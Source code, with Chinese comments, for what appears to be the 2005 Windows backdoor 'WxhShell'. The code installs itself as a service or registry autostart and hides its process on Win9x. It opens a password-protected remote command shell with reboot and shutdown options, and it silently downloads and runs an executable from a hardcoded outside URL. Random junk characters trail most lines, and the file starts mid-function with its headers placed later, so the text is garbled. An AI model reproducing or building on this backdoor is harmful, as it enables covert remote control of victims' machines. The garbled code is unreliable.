} PROCESS_BASIC_INFORMATION; Z(>'0]G
t+r:"bb
PROCNTQSIP NtQueryInformationProcess; (6p]ZY
?']h%'Q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zQ6p+R7D
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DaH Z{T8>d
9i5,2~
HANDLE hProcess; j9+I0>#X
PROCESS_BASIC_INFORMATION pbi; r`S< A;
9Mp$8-=>7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wXjFLg!g?
if(NULL == hInst ) return 0; 3VnQnd E
/2M.~3gQ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C`jM0Q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `i
+g{kE2M
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M@1r:4CoKH
)+")Sz3zx
if (!NtQueryInformationProcess) return 0; 5l-mW0,MK
}V;+l8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4F3x@H'
if(!hProcess) return 0; jDM
w2#<
mV^Zy
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qH,l#I\CG
ow=UtA-^O
CloseHandle(hProcess); 5m:i6,4
8.=\GV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8;Fn7k_Uf
if(hProcess==NULL) return 0; V(MFna)
^taBG3P
HMODULE hMod; w6dFb6~R
char procName[255]; |]Z:&[D]i
unsigned long cbNeeded; FOwDp0
j/T>2|dA&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
8@{OR"Ec
I]"96'|N
CloseHandle(hProcess); Xd E`d.
gG%V 9eOQ
if(strstr(procName,"services")) return 1; // 以服务启动 C9DJO:f.2y
dm"n%
return 0; // 注册表启动 I\?9+3 XnQ
} <WXzh5D2
X0;4_,=
// 主模块 !|q<E0@w\
int StartWxhshell(LPSTR lpCmdLine) X7UuwIIP
{ oBq 49u1
SOCKET wsl; c H-@V<
BOOL val=TRUE; 49Df?sx
int port=0; bb42v7?
struct sockaddr_in door; `I$<S(h7
Kz<@x`0
if(wscfg.ws_autoins) Install(); {k.MS-q
I]Tsz'T!9
port=atoi(lpCmdLine); KD1=Y80P
BYW^/B Y)
if(port<=0) port=wscfg.ws_port; b5IA"w
6ZgU"!|r
WSADATA data; t#nn@Yf
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &bqT/H18
2>-S-;i
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f\;65k_jq
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $wYtyN[
door.sin_family = AF_INET; ]Q
"p\@\!
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =z{JgD/
door.sin_port = htons(port); IvpcSam'
E|YdcS
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2,vB'CAI
closesocket(wsl); bi ozZ
return 1; k+V6,V)my
} -16K7yk
>U1R.B7f
if(listen(wsl,2) == INVALID_SOCKET) { E$a ?LFa6
closesocket(wsl); E@a3~a
return 1; S1 _6C:^k
} ,U)"WLmY
Wxhshell(wsl); :[@k<8<]
WSACleanup(); ~9F ,%
[md u!!*
return 0; VN4yn| f/
I~,G
} 1tCQpf
+,:^5{9{
// 以NT服务方式启动 iFSJL,QZ3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =O _z(
{ 41#w|L
\
DWORD status = 0; eMOD;{Q?X
DWORD specificError = 0xfffffff; ES <1tG
J68j=`Y
serviceStatus.dwServiceType = SERVICE_WIN32; Q@e[5RA+]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $(s\{(Wn
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; , "jbq~
serviceStatus.dwWin32ExitCode = 0; |vte=)%
serviceStatus.dwServiceSpecificExitCode = 0; r
_,_5
@0e
serviceStatus.dwCheckPoint = 0; kE.x+2
serviceStatus.dwWaitHint = 0; BY\:dx)mK
zeP}tzQO
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }}QT HR
if (hServiceStatusHandle==0) return; N_4eM,7t
0Q"u#V Sp
status = GetLastError(); rI5Foh6
if (status!=NO_ERROR) rA0,`}8\
{ r8xyd"Axy
serviceStatus.dwCurrentState = SERVICE_STOPPED; h:XzUxL\
serviceStatus.dwCheckPoint = 0; -3Avs9`5
serviceStatus.dwWaitHint = 0; , xx6$uZ
serviceStatus.dwWin32ExitCode = status; HQ9f ,<
serviceStatus.dwServiceSpecificExitCode = specificError; s/"&9F3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qP!eJ6[Nh"
return; D+ V7hpH-
} Kzy/9
D0Z\Vvy
serviceStatus.dwCurrentState = SERVICE_RUNNING; tC8(XMVx
serviceStatus.dwCheckPoint = 0; r%wA&FQ8U
serviceStatus.dwWaitHint = 0; d lH$yub
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D/(L
} M_B:{%4
(VyNvB
// 处理NT服务事件,比如:启动、停止 J MX6yV
VOID WINAPI NTServiceHandler(DWORD fdwControl) `Yc_5&"
{ (VvKGh
switch(fdwControl) 50jOA#l[
{ +y[@T6_
case SERVICE_CONTROL_STOP: #gQF'
serviceStatus.dwWin32ExitCode = 0; J2GcBzRH
serviceStatus.dwCurrentState = SERVICE_STOPPED; @e~]t}fH
serviceStatus.dwCheckPoint = 0; 5yh/0i5 |
serviceStatus.dwWaitHint = 0; Hx^!:kxk
{ >YW\~T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I9$c F)zk
} M"=n>;*X
return; Ocg"M Gb
case SERVICE_CONTROL_PAUSE: ;N+$2w
serviceStatus.dwCurrentState = SERVICE_PAUSED; |ifHSc.j<
break; WV;=@v
case SERVICE_CONTROL_CONTINUE: m(D]qYwh
serviceStatus.dwCurrentState = SERVICE_RUNNING; Qz<d~N
break; ~CRSL1?
case SERVICE_CONTROL_INTERROGATE: /rB{[zk
break; qOCJT Og7
}; ,7]k fB
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pvo#pY^dXX
} {mYP<NBT
iY[+Ywh
// 标准应用程序主函数 c"YXxAJ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !Gs} tiMH
{ CF
y}r(q
R U"/2i
// 获取操作系统版本 Dkw%`(Oh/,
OsIsNt=GetOsVer(); k@!r#`j3
GetModuleFileName(NULL,ExeFile,MAX_PATH); a+41|)pt
=Je>`{J
// 从命令行安装 ]rd/;kg.S
if(strpbrk(lpCmdLine,"iI")) Install(); AWr}"r?s
H{ M)-
// 下载执行文件 qG8s;_G
if(wscfg.ws_downexe) { n/e
BE q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )yee2(S
WinExec(wscfg.ws_filenam,SW_HIDE); Z%o7f6P0IX
} '3tw<k!1{.
Lf}8qB#Y
if(!OsIsNt) { $Ptk|qFe
// 如果时win9x,隐藏进程并且设置为注册表启动 A//?6OJx?
HideProc(); dFW=9ru+MQ
StartWxhshell(lpCmdLine); Ry;$^.7%
} I d8wS!W`7
else g1m-+a
if(StartFromService()) 5vp|?-\h>
// 以服务方式启动 d{+(Lpj^
StartServiceCtrlDispatcher(DispatchTable); =6nD0i9+
else wJ"ev.A)
// 普通方式启动 _"f :`
StartWxhshell(lpCmdLine); J}g~uW
Dk)}|GJ()"
return 0; w*LbH]l<-
} M8W# io
c,5n,i
3><u*0qe%I
*$,+`+
=========================================== ?qHF}k|
V2znU
9Ld9N;rWm#
Eek9|i"p
)@7DsV/M
n[k1np$7?6
" =G>(~+EA
)q^ Bj$
#include <stdio.h> ]
pPz@@xx
#include <string.h> 0Oxz3r%}r
#include <windows.h> L@)&vn]
#include <winsock2.h> D!FaE N
#include <winsvc.h> \ElX~$fS
#include <urlmon.h> a8uYs DS
r'aY2n^O
#pragma comment (lib, "Ws2_32.lib") 7[o {9Yp&
#pragma comment (lib, "urlmon.lib") g'lT
>9(i)e
#define MAX_USER 100 // 最大客户端连接数 Z!\@%`0$
#define BUF_SOCK 200 // sock buffer 9U<Hf32
#define KEY_BUFF 255 // 输入 buffer F>Jg~ FD*
mvTb~)
#define REBOOT 0 // 重启 uEd,rEB>
#define SHUTDOWN 1 // 关机 |O (G nsZ
D s-`
#define DEF_PORT 5000 // 监听端口 =7jEz+w#
aWvd`qA9r
#define REG_LEN 16 // 注册表键长度 !Yh}H<w0
#define SVC_LEN 80 // NT服务名长度 TlPVHJyt
4;<DJ.XlN=
// 从dll定义API MW@ DXbKVl
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q=+8/b
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^
}#f()
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }iNY_I c
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h([0,:\
njMLyT($
// wxhshell配置信息 p.Y$A
if.
struct WSCFG { a$+#V=bA
int ws_port; // 监听端口 9~Xg#{
char ws_passstr[REG_LEN]; // 口令 Z=9dMND
int ws_autoins; // 安装标记, 1=yes 0=no 2LhE]O(_"
char ws_regname[REG_LEN]; // 注册表键名 yiT{+;g^
char ws_svcname[REG_LEN]; // 服务名 &&C~@WY,r
char ws_svcdisp[SVC_LEN]; // 服务显示名 c!D> {N
char ws_svcdesc[SVC_LEN]; // 服务描述信息 |h,FUj<r
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %FS;>;i?
int ws_downexe; // 下载执行标记, 1=yes 0=no "k>bUe|RG
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SJ(9rhB5*.
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d| \#?W&
F*<Ws;j
}; Oxn'bh6R0
ngqUH
// default Wxhshell configuration P%!q1`Eke(
struct WSCFG wscfg={DEF_PORT, -s~p}CQ.
"xuhuanlingzhe", M9g1d7%
1, bX{PSjD
"Wxhshell", V'yxqI?
"Wxhshell", m){&:Hs
"WxhShell Service", 6SAQDE
"Wrsky Windows CmdShell Service", ddMM74
"Please Input Your Password: ", ~y%7w5%Un
1, gT7I9 (x!W
"http://www.wrsky.com/wxhshell.exe", !L$oAqW
"Wxhshell.exe" CU !.!cZ{
}; ~$ WQ"~z
8 )`5P\
// 消息定义模块 bgXc_>T6_y
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5oa]dco
char *msg_ws_prompt="\n\r? for help\n\r#>"; <M>#qd@c
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A>y#}^l]
char *msg_ws_ext="\n\rExit."; iy9VruT<